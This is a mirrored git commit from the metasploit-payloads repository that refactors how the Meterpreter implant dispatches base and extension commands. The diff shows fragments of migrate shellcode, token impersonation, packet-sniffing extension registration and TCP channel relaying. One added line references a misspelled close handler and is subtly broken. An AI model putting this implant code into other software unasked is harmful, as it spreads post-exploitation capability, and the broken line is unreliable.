1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-28 06:13:03 +01:00

Land #56, command overloads

This commit is contained in:
James Lee 2014-01-02 16:56:24 -06:00
commit 7260569bd1
16 changed files with 1268 additions and 970 deletions

View File

@ -21,6 +21,10 @@ tags
# project config output
r7_release
r7_debug
debug
release
Debug
Release
# temporary files
*.swp
@ -39,7 +43,8 @@ workspace/Backup/*
source/jpeg-8/Backup/*
# other VS garbage
*.*proj.filters
*.suo
*.ncb
# ignore posix temp stuff
posix-meterp-build-tmp/*

View File

@ -46,6 +46,10 @@ IF "%ERRORLEVEL%" == "0" (
)
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%
GOTO :END
:CLEAN

View File

@ -45,22 +45,11 @@ DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet)
****************************/
// Dispatch table
Command custom_commands[] =
Command customCommands[] =
{
{ "core_channel_open",
{ EMPTY_DISPATCH_HANDLER },
{ ex_remote_response_core_channel_open, { 0 }, 0 },
},
{ "core_channel_close",
{ ex_remote_request_core_channel_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open),
COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase),
COMMAND_TERMINATOR
};
@ -69,12 +58,7 @@ Command custom_commands[] =
*/
VOID remote_register_core_dispatch_routines()
{
DWORD index;
for (index = 0;
custom_commands[index].method;
index++)
command_register(&custom_commands[index]);
command_register_all(customCommands);
}
/*
@ -82,10 +66,5 @@ VOID remote_register_core_dispatch_routines()
*/
VOID remote_deregister_core_dispatch_routines()
{
DWORD index;
for (index = 0;
custom_commands[index].method;
index++)
command_deregister(&custom_commands[index]);
command_deregister_all(customCommands);
}

View File

@ -1,9 +1,6 @@
#include "common.h"
#include "base_inject.h"
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread;
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"

View File

@ -47,7 +47,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread );
/*!
* @brief Base RPC dispatch table.
*/
Command base_commands[] =
Command baseCommands[] =
{
// Console commands
{ "core_console_write",
@ -83,7 +83,7 @@ Command base_commands[] =
* @brief Dynamically registered command extensions.
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
*/
Command *extension_commands = NULL;
Command *extensionCommands = NULL;
/*!
* @brief Register a full list of commands with meterpreter.
@ -94,7 +94,9 @@ void command_register_all(Command commands[])
DWORD index;
for (index = 0; commands[index].method; index++)
command_register( &commands[index] );
{
command_register(&commands[index]);
}
}
/*!
@ -114,13 +116,15 @@ DWORD command_register(Command *command)
memcpy(newCommand, command, sizeof(Command));
dprintf("Setting new command...");
if (extension_commands)
extension_commands->prev = newCommand;
if (extensionCommands)
{
extensionCommands->prev = newCommand;
}
dprintf("Fixing next/prev...");
newCommand->next = extension_commands;
newCommand->prev = NULL;
extension_commands = newCommand;
dprintf("Fixing next/prev... %p", newCommand);
newCommand->next = extensionCommands;
newCommand->prev = NULL;
extensionCommands = newCommand;
dprintf("Done...");
return ERROR_SUCCESS;
@ -135,7 +139,9 @@ void command_deregister_all(Command commands[])
DWORD index;
for (index = 0; commands[index].method; index++)
{
command_deregister(&commands[index]);
}
}
/*!
@ -149,7 +155,7 @@ DWORD command_deregister(Command *command)
DWORD res = ERROR_NOT_FOUND;
// Search the extension list for the command
for (current = extension_commands, prev = NULL;
for (current = extensionCommands, prev = NULL;
current;
prev = current, current = current->next)
{
@ -157,12 +163,18 @@ DWORD command_deregister(Command *command)
continue;
if (prev)
{
prev->next = current->next;
}
else
extension_commands = current->next;
{
extensionCommands = current->next;
}
if (current->next)
{
current->next->prev = prev;
}
// Deallocate it
free(current);
@ -175,19 +187,21 @@ DWORD command_deregister(Command *command)
return res;
}
/*! * @brief A list of all command threads currenlty executing. */
/*! @brief A list of all command threads currenlty executing. */
LIST * commandThreadList = NULL;
/*!
* @brief Block untill all running command threads have finished.
*/
VOID command_join_threads( VOID )
VOID command_join_threads(VOID)
{
while( list_count( commandThreadList ) > 0 )
while (list_count(commandThreadList) > 0)
{
THREAD * thread = (THREAD *)list_get( commandThreadList, 0 );
if( thread )
thread_join( thread );
THREAD * thread = (THREAD *)list_get(commandThreadList, 0);
if (thread)
{
thread_join(thread);
}
}
}
@ -199,7 +213,8 @@ VOID command_join_threads( VOID )
*/
VOID reap_zombie_thread(void * param)
{
while(1) {
while(1)
{
waitpid(-1, NULL, __WCLONE);
// on 2.6 kernels, don't chew 100% CPU
usleep(500000);
@ -209,7 +224,8 @@ VOID reap_zombie_thread(void * param)
/*!
* @brief Process a command directly on the current thread.
* @param command Pointer to the \c Command to be executed.
* @param baseCommand Pointer to the \c Command in the base command list to be executed.
* @param extensionCommand Pointer to the \c Command in the extension command list to be executed.
* @param remote Pointer to the \c Remote endpoint for this command.
* @param packet Pointer to the \c Packet containing the command detail.
* @returns Boolean value indicating if the server should continue processing.
@ -217,82 +233,162 @@ VOID reap_zombie_thread(void * param)
* @retval FALSE The server should stop processing and shut down.
* @sa command_handle
* @sa command_process_thread
* @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand
* then the result of the \c baseCommand processing is ignored and the result of
* \c extensionCommand is returned instead.
*/
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet)
{
DWORD result;
BOOL serverContinue = TRUE;
Tlv requestIdTlv;
PCHAR requestId;
PacketTlvType packetTlvType;
dprintf( "[COMMAND] Executing command %s", command->method );
Command *commands[2] = { baseCommand, extensionCommand };
Command *command = NULL;
DWORD dwIndex;
LPCSTR lpMethod = NULL;
__try
{
do
{
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
for (dwIndex = 0; dwIndex < 2; ++dwIndex)
{
command = commands[dwIndex];
if (command == NULL)
{
continue;
}
lpMethod = command->method;
dprintf("[COMMAND] Executing command %s", lpMethod);
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if (dwIndex == 0 && remote->hServerToken != remote->hThreadToken)
{
if (!ImpersonateLoggedOnUser(remote->hThreadToken))
{
dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError());
}
}
}
#endif
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
break;
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if (command_validate_arguments(command, packet) != ERROR_SUCCESS)
{
continue;
}
packetTlvType = packet_get_type( packet );
switch ( packetTlvType )
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
serverContinue = command->request.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing request handler %s", command->method );
result = command->request.handler( remote, packet );
packetTlvType = packet_get_type(packet);
switch (packetTlvType)
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf("[DISPATCH] executing inline request handler %s", lpMethod);
serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue;
}
else
{
dprintf("[DISPATCH] executing request handler %s", lpMethod);
result = command->request.handler(remote, packet);
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler)
{
dprintf("[DISPATCH] executing inline response handler %s", lpMethod);
serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue;
}
else
{
dprintf("[DISPATCH] executing response handler %s", lpMethod);
result = command->response.handler(remote, packet);
}
break;
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler) {
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
serverContinue = command->response.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing response handler %s", command->method );
result = command->response.handler( remote, packet );
}
break;
}
dprintf("[COMMAND] Calling completion handlers...");
// Get the request identifier if the packet has one.
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS)
{
requestId = (PCHAR)requestIdTlv.buffer;
}
// Finally, call completion routines for the provided identifier
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
packet_call_completion_handlers( remote, packet, requestId );
if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
{
packet_call_completion_handlers(remote, packet, requestId);
}
} while( 0 );
dprintf("[COMMAND] Completion handlers finished for %s. Returning: %s", lpMethod, (serverContinue ? "TRUE" : "FALSE"));
} while (0);
}
__except( EXCEPTION_EXECUTE_HANDLER )
__except (EXCEPTION_EXECUTE_HANDLER)
{
dprintf("[COMMAND] Exception hit in command %s", command->method );
dprintf("[COMMAND] Exception hit in command %s", lpMethod);
}
packet_destroy( packet );
packet_destroy(packet);
return serverContinue;
}
/*!
* @brief Attempt to locate a command in the base command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the base command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_base(const char* method)
{
DWORD index;
dprintf("[COMMAND EXEC] Attempting to locate base command %s", method);
for (index = 0; baseCommands[index].method; ++index)
{
if (strcmp(baseCommands[index].method, method) == 0)
{
return &baseCommands[index];
}
}
dprintf("[COMMAND EXEC] Couldn't find base command %s", method);
return NULL;
}
/*!
* @brief Attempt to locate a command in the extensions command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the extensions command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_extension(const char* method)
{
Command* command;
dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands);
for (command = extensionCommands; command; command = command->next)
{
if (strcmp(command->method, method) == 0)
{
return command;
}
}
dprintf("[COMMAND EXEC] Couldn't find extension command %s", method);
return NULL;
}
/*!
* @brief Handle an incoming command.
* @param remote Pointer to the \c Remote instance associated with this command.
@ -310,40 +406,63 @@ BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
* @sa command_process_inline
* @sa command_process_thread
*/
BOOL command_handle( Remote *remote, Packet *packet )
BOOL command_handle(Remote *remote, Packet *packet)
{
BOOL result = TRUE;
THREAD* cpt = NULL;
Command* command = NULL;
Command* baseCommand = NULL;
Command* extensionCommand = NULL;
Command** commands = NULL;
Packet* response = NULL;
PCHAR lpMethod = NULL;
Tlv methodTlv;
do
{
command = command_locate( packet );
if( command == NULL ) {
dprintf( "[DISPATCH] Command not found" );
// We have no matching command for this packet, so it won't get handled. We
// need to send an empty response and clean up here before exiting out.
response = packet_create_response( packet );
packet_transmit_response( ERROR_NOT_SUPPORTED, remote, response );
packet_destroy( packet );
if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
dprintf("[COMMAND] Unable to extract method from packet.");
break;
}
if( command_is_inline( command, packet ) ) {
dprintf( "[DISPATCH] Executing inline: %s", command->method );
result = command_process_inline( command, remote, packet );
} else {
dprintf( "[DISPATCH] Executing in thread: %s", command->method );
cpt = thread_create( command_process_thread, remote, packet, command );
if( cpt )
lpMethod = (PCHAR)methodTlv.buffer;
baseCommand = command_locate_base(lpMethod);
extensionCommand = command_locate_extension(lpMethod);
if (baseCommand == NULL && extensionCommand == NULL) {
dprintf("[DISPATCH] Command not found: %s", lpMethod);
// We have no matching command for this packet, so it won't get handled. We
// need to send an empty response and clean up here before exiting out.
response = packet_create_response(packet);
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
packet_destroy(packet);
break;
}
// if either command is registered as inline, run them inline
if ((baseCommand && command_is_inline(baseCommand, packet))
|| (extensionCommand && command_is_inline(extensionCommand, packet)))
{
dprintf("[DISPATCH] Executing inline: %s", lpMethod);
result = command_process_inline(baseCommand, extensionCommand, remote, packet);
}
else
{
dprintf("[DISPATCH] Executing in thread: %s", lpMethod);
commands = (Command**)malloc(sizeof(Command*) * 2);
*commands = baseCommand;
*(commands + 1) = extensionCommand;
cpt = thread_create(command_process_thread, remote, packet, commands);
if (cpt)
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle);
thread_run(cpt);
}
}
} while(0);
} while (0);
return result;
}
@ -353,34 +472,46 @@ BOOL command_handle( Remote *remote, Packet *packet )
* @param thread Pointer to the thread to execute.
* @return Result of thread execution (not the result of the command).
* @sa command_handle
* @sa command_process_thread
* @sa command_process_inline
*/
DWORD THREADCALL command_process_thread( THREAD * thread )
DWORD THREADCALL command_process_thread(THREAD * thread)
{
Command * command = NULL;
Remote * remote = NULL;
Packet * packet = NULL;
Command** commands = NULL;
Remote * remote = NULL;
Packet * packet = NULL;
if( thread == NULL )
dprintf("[COMMAND] executing in thread %p", thread);
if (thread == NULL)
{
return ERROR_INVALID_HANDLE;
}
remote = (Remote *)thread->parameter1;
if( remote == NULL )
if (remote == NULL)
{
return ERROR_INVALID_HANDLE;
}
packet = (Packet *)thread->parameter2;
if( packet == NULL )
if (packet == NULL)
{
return ERROR_INVALID_DATA;
}
command = (Command *)thread->parameter3;
if( command == NULL )
commands = (Command**)thread->parameter3;
if (commands == NULL)
{
return ERROR_INVALID_DATA;
}
if( commandThreadList == NULL )
if (commandThreadList == NULL)
{
commandThreadList = list_create();
if( commandThreadList == NULL )
if (commandThreadList == NULL)
{
return ERROR_INVALID_HANDLE;
}
#ifndef _WIN32
pthread_t tid;
@ -389,12 +520,21 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
#endif
}
list_add( commandThreadList, thread );
list_add(commandThreadList, thread);
command_process_inline( command, remote, packet );
// invoke processing inline, passing in both commands
dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1));
command_process_inline(*commands, *(commands + 1), remote, packet);
dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1));
if( list_remove( commandThreadList, thread ) )
thread_destroy( thread );
if (list_remove(commandThreadList, thread))
{
thread_destroy(thread);
}
// free things up now that the command stuff has been finished
dprintf("[COMMAND] Cleaning up commands");
free(commands);
return ERROR_SUCCESS;
}
@ -424,85 +564,6 @@ BOOL command_is_inline( Command *command, Packet *packet )
return FALSE;
}
/*!
* @brief Attempt to locate a command in the base command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the base command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_base( const char* method )
{
DWORD index;
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
for( index = 0; base_commands[index].method ; ++index )
if( strcmp( base_commands[index].method, method ) == 0 )
return &base_commands[index];
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command in the extensions command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the extensions command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_extension( const char* method )
{
Command* command;
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
for( command = extension_commands; command; command = command->next )
if( strcmp( command->method, method ) == 0 )
return command;
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command to execute based on the method.
* @param method String that identifies the command.
* @returns Pointer to the command entry to execute.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
* @remark This function tries to find an extension command first. If
* found it will be returned. If not, the base command list is
* queried. This supports the notion of extensions overloading
* the base commands.
* @sa command_locate_extension
* @sa command_locate_base
*/
Command* command_locate( Packet *packet )
{
Command* command = NULL;
DWORD dwResult;
Tlv methodTlv;
do
{
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( dwResult != ERROR_SUCCESS ) {
dprintf( "[COMMAND] Unable to extract method from packet." );
break;
}
// check for an overload first.
command = command_locate_extension( (PCHAR)methodTlv.buffer );
// if no overload, then fallback on base.
if( command == NULL )
command = command_locate_base( (PCHAR)methodTlv.buffer );
} while(0);
return command;
}
/*!
* @brief Validate command arguments
* @return Indication of whether the commands are valid or not.

View File

@ -303,8 +303,8 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS, channelId;
Channel *channel = NULL;
dprintf( "[CHANNEL] remote_request_core_channel_close." );
dprintf("[CHANNEL] remote_request_core_channel_close.");
do
{
@ -322,7 +322,9 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
channel_destroy(channel, packet);
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
}
} while (0);
@ -629,10 +631,12 @@ DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResu
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response
dprintf("[DISPATCH] Ack shutdown request");
packet_transmit_response( result, remote, response );
*pResult = result;
dprintf("[DISPATCH] Telling dispatch loop to finish");
// We always return FALSE here to tell the server to terminate.
return FALSE;
}

View File

@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#endif
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }

View File

@ -430,19 +430,9 @@ DWORD request_networkpug_stop(Remote *remote, Packet *packet)
Command customCommands[] =
{
{ "networkpug_start",
{ request_networkpug_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "networkpug_stop",
{ request_networkpug_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
}
COMMAND_REQ("networkpug_start", request_networkpug_start),
COMMAND_REQ("networkpug_stop", request_networkpug_stop),
COMMAND_TERMINATOR
};
/*
@ -450,7 +440,6 @@ Command customCommands[] =
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
DWORD index;
int peername_len;
struct sockaddr peername;
struct sockaddr_in *peername4;
@ -498,10 +487,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
dprintf("so our filter is '%s'", packet_filter);
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
command_register_all(customCommands);
pug_lock = lock_create();
@ -513,12 +499,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
int index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all(customCommands);
free(packet_filter);

File diff suppressed because it is too large Load Diff

View File

@ -1,86 +1,107 @@
/*!
* @file tcp.c
* @brief Definitions for functionality that handles TCP client operations.
*/
#include "precomp.h"
#include "tcp.h"
/*********************************
* TCP Client Channel Operations *
*********************************/
/*
* Writes data from the remote half of the channel to the established connection.
/*!
* @brief Writes data from the remote half of the channel to the established connection.
* @param channel Pointer to the channel to write to.
* @param request Pointer to the request packet.
* @param context Pointer to the channel's context.
* @param buffer Buffer containing the data to write to the channel.
* @param bufferSize Size of the buffer indicating how many bytes to write.
* @param bytesWritten Pointer that receives the number of bytes written to the \c channel.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS writing the data completed successfully.
*/
DWORD tcp_channel_client_write( Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
DWORD tcp_channel_client_write(Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwResult = ERROR_SUCCESS;
TcpClientContext * ctx = NULL;
LONG written = 0;
LONG written = 0;
do
{
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
dprintf("[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize);
ctx = (TcpClientContext *)context;
if( !ctx )
BREAK_WITH_ERROR( "[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE );
if (!ctx)
{
BREAK_WITH_ERROR("[TCP] tcp_channel_client_write. ctx == NULL", ERROR_INVALID_HANDLE);
}
written = send( ctx->fd, buffer, bufferSize, 0 );
written = send(ctx->fd, buffer, bufferSize, 0);
if( written == SOCKET_ERROR )
if (written == SOCKET_ERROR)
{
dwResult = WSAGetLastError();
if( dwResult == WSAEWOULDBLOCK )
if (dwResult == WSAEWOULDBLOCK)
{
struct timeval tv = {0};
fd_set set = {0};
DWORD res = 0;
struct timeval tv = { 0 };
fd_set set = { 0 };
DWORD res = 0;
dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." );
dprintf("[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again...");
while( TRUE )
while (TRUE)
{
tv.tv_sec = 0;
tv.tv_sec = 0;
tv.tv_usec = 1000;
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
FD_ZERO(&set);
FD_SET(ctx->fd, &set);
res = select( 0, NULL, &set, NULL, &tv );
if( res > 0 )
res = select(0, NULL, &set, NULL, &tv);
if (res > 0)
{
dwResult = ERROR_SUCCESS;
break;
}
else if( res == SOCKET_ERROR )
else if (res == SOCKET_ERROR)
{
dwResult = WSAGetLastError();
break;
}
Sleep( 100 );
Sleep(100);
}
if( dwResult == ERROR_SUCCESS )
if (dwResult == ERROR_SUCCESS)
{
continue;
}
else
dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult );
{
dprintf("[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult);
}
}
written = 0;
dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult );
dprintf("[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult);
}
if( bytesWritten )
if (bytesWritten)
{
*bytesWritten = written;
}
} while( 0 );
} while (0);
dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written );
dprintf("[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written);
return dwResult;
}
/*
* Closes the established connection and cleans up stale state
/*!
* @brief Closes the established connection and cleans up stale state.
* @param channel Pointer to the channel to be closed.
* @param request Pointer to the request packet.
* @param context Pointer to the channel's context.
* @returns indication of success or failure.
* @retval ERROR_SUCCESS the channel was closed successfully.
*/
DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context)
{
@ -104,14 +125,18 @@ DWORD tcp_channel_client_close(Channel *channel, Packet *request, LPVOID context
return ERROR_SUCCESS;
}
/*
* Callback for when there is data available on the local side of the TCP client connection
/*!
* @brief Callback for when there is data available on the local side of the TCP client connection.
* @param remote Pointer to the remote that will receive the data.
* @param ctx Pointer to the TCP client context.
* @returns Indication of success or failure.
* @retval ERROR_SUCCESS This value is always returned.
*/
DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
DWORD tcp_channel_client_local_notify(Remote * remote, TcpClientContext * ctx)
{
struct timeval tv = {0};
fd_set set = {0};
UCHAR buf[16384] = {0};
struct timeval tv = { 0 };
fd_set set = { 0 };
UCHAR buf[16384] = { 0 };
LONG dwBytesRead = 0;
// We select in a loop with a zero second timeout because it's possible
@ -121,83 +146,85 @@ DWORD tcp_channel_client_local_notify( Remote * remote, TcpClientContext * ctx )
do
{
// Reset the notification event
ResetEvent( ctx->notify );
ResetEvent(ctx->notify);
FD_ZERO( &set );
FD_SET( ctx->fd, &set );
tv.tv_sec = 0;
FD_ZERO(&set);
FD_SET(ctx->fd, &set);
tv.tv_sec = 0;
tv.tv_usec = 0;
// Read data from the client connection
dwBytesRead = recv( ctx->fd, buf, sizeof(buf), 0 );
if( dwBytesRead == SOCKET_ERROR )
dwBytesRead = recv(ctx->fd, buf, sizeof(buf), 0);
if (dwBytesRead == SOCKET_ERROR)
{
DWORD dwError = WSAGetLastError();
// WSAECONNRESET: The connection was forcibly closed by the remote host.
// WSAECONNABORTED: The connection was terminated due to a time-out or other failure.
if( dwError == WSAECONNRESET || dwError == WSAECONNABORTED )
if (dwError == WSAECONNRESET || dwError == WSAECONNABORTED)
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError );
dprintf("[TCP] tcp_channel_client_local_notify. [error] closing down channel gracefully. WSAGetLastError=%d", dwError);
// By setting bytesRead to zero, we can ensure we close down the channel gracefully...
dwBytesRead = 0;
}
else if( dwError == WSAEWOULDBLOCK )
else if (dwError == WSAEWOULDBLOCK)
{
dprintf( "[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel );
dprintf("[TCP] tcp_channel_client_local_notify. channel=0x%08X. recv generated a WSAEWOULDBLOCK", ctx->channel);
// break and let the scheduler notify us again if needed.
break;
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError );
dprintf("[TCP] tcp_channel_client_local_notify. [error] channel=0x%08X read=0x%.8x (ignored). WSAGetLastError=%d", ctx->channel, dwBytesRead, dwError);
// we loop again because bytesRead is -1.
}
}
if( dwBytesRead == 0 )
if (dwBytesRead == 0)
{
dprintf( "[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead );
dprintf("[TCP] tcp_channel_client_local_notify. [closed] channel=0x%08X read=0x%.8x", ctx->channel, dwBytesRead);
// Set the native channel operations context to NULL
channel_set_native_io_context( ctx->channel, NULL );
channel_set_native_io_context(ctx->channel, NULL);
// Sleep for a quarter second
Sleep( 250 );
Sleep(250);
// Free the context
free_tcp_client_context( ctx );
free_tcp_client_context(ctx);
// Stop processing
break;
}
else if( dwBytesRead > 0 )
else if (dwBytesRead > 0)
{
if( ctx->channel )
if (ctx->channel)
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead );
channel_write( ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0 );
dprintf("[TCP] tcp_channel_client_local_notify. [data] channel=0x%08X read=%d", ctx->channel, dwBytesRead);
channel_write(ctx->channel, ctx->remote, NULL, 0, buf, dwBytesRead, 0);
}
else
{
dprintf( "[TCP] tcp_channel_client_local_notify. [data] channel=<invalid> read=0x%.8x", dwBytesRead );
